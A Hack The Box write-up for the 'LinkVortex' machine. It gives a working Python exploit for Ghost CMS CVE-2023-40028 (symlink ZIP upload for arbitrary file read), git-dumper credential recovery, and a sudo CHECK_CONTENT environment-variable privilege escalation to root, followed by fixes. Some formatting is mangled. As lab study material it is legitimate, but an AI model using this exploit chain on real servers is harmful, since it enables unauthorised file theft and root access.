Summary
LinkVortex is an Easy Linux box: dev.linkvortex.htb Git repo
exposes test creds ([email protected] : OctopiFociPilfer45)
for Ghost CMS. CVE-2023-40028 in Ghost ≤ 5.59.0 lets an
admin upload a ZIP with a symlink that escapes the content
directory → arbitrary file read. Pull config.production.json
→ SMTP creds [email protected] : fibber-talented-worth →
SSH. Privesc: sudo bash /opt/ghost/clean_symlink.sh *.png —
three options:
- double-symlink chain (script validates target of L1 but reads through to L2 → L3-target),
- TOCTOU race between validation and read,
- easiest —
CHECK_CONTENT=bashenvironment variable that the scriptevals.
The chain:
- dev.linkvortex.htb has exposed
.git/; git-dumper → creds in commit history. - Ghost admin login. CVE-2023-40028 ZIP upload with
symlink
link → /var/lib/ghost/config.production.json. - Read SMTP creds; SSH as bob.
sudo bash /opt/ghost/clean_symlink.sh *.png—CHECK_CONTENT=/bin/bash sudo bash /opt/ghost/clean_symlink.sh *.png→ root shell.
Recon
22/tcp OpenSSH
80/tcp Apache → linkvortex.htb (Ghost 5.58.0)
+ vhost: dev.linkvortex.htb (.git exposed)
Foothold — git-dumper + Ghost CVE-2023-40028
git-dumper http://dev.linkvortex.htb/.git/ ./d
cd ./d && git diff --cached
# Dockerfile.ghost is *staged but not committed* — git-dumper picks it up
# along with a modified test that contains the password:
# - const password = 'thisissupersafe';
# + const password = 'OctopiFociPilfer45';
# Email is [email protected] (default Ghost admin email pattern).
The CVE-2023-40028 exploit places a symlink under
content/images/<random>.png via the /db import endpoint. After
upload, the symlink is reachable at the same URL Ghost serves
its content from — the symlink resolves to the target file
content. Use Python’s zipfile.ZipInfo to set the symlink mode
(external_attr |= 0xA0000000) without needing on-disk symlinks:
import io, requests, zipfile, random, string
fname = ''.join(random.choices(string.ascii_letters,k=8)) + ".png"
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
zi = zipfile.ZipInfo(f"content/images/{fname}")
zi.create_system = 3
zi.external_attr |= 0xA0000000 # 0o120777 << 16, symlink mode
z.writestr(zi, "/var/lib/ghost/config.production.json")
buf.seek(0)
s = requests.Session()
s.post("http://linkvortex.htb/ghost/api/admin/session",
data={"username":USER, "password":PWD},
headers={"Origin":"http://linkvortex.htb"})
s.post("http://linkvortex.htb/ghost/api/admin/db/",
files={"importfile":("a.zip", buf, "application/zip")},
headers={"Origin":"http://linkvortex.htb"})
print(s.get(f"http://linkvortex.htb/content/images/{fname}").text)
The config.production.json yields SMTP creds:
[email protected] : fibber-talented-worth. SSH as bob.
# config.production.json yields:
# [email protected] : fibber-talented-worth
ssh bob@<TARGET>
Privesc — clean_symlink.sh CHECK_CONTENT
bob$ sudo -nl
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
... env_keep+=CHECK_CONTENT
The script’s actual structure:
LINK=$1
if /usr/bin/sudo /usr/bin/test -L $LINK; then
LINK_TARGET=$(/usr/bin/readlink $LINK)
if echo "$LINK_TARGET" | grep -Eq '(etc|root)'; then
unlink $LINK
else
mv $LINK /var/quarantined/
if $CHECK_CONTENT; then # <-- env-passed, evaluated as a command
cat /var/quarantined/$LINK_NAME 2>/dev/null
fi
fi
fi
if $CHECK_CONTENT; then runs the value of CHECK_CONTENT as a
command. The simplest exploit: prefix with cat /root/root.txt.
The script’s own cat of the quarantined file then prints
afterwards (so you see both root.txt and the dummy target).
bob$ ln -sf /tmp/dummy /tmp/y.png && echo x > /tmp/dummy
bob$ CHECK_CONTENT="cat /root/root.txt" sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/y.png
Link found [ /tmp/y.png ] , moving it to quarantine
<root flag>
Content:
x
The symlink target must NOT match etc|root (regex anchor),
otherwise the script unlinks the file and skips the
CHECK_CONTENT branch entirely. /tmp/dummy works.
Why each step worked
.gitexposure: standard webserver misconfig.- CVE-2023-40028: Ghost’s content-dir validation didn’t check symlink targets; ZIP extraction preserved the symlink.
CHECK_CONTENTenv var executed as command: the script evals an environment variable;env_keeplikely permits CHECK_CONTENT through sudo.
Counterfactuals
- Block
.gitat webserver. - Patch Ghost ≥ 5.59.1 (CVE-2023-40028 fix).
- Don’t
evalenv variables in privileged shell scripts. - Sudoers should explicitly clear environment, not
env_keepunbounded vars.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: LinkVortex” — https://0xdf.gitlab.io/2025/04/12/htb-linkvortex.html
- IppSec, “LinkVortex” video walkthrough — https://ippsec.rocks/?#LinkVortex
- Ghost CVE-2023-40028 advisory.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.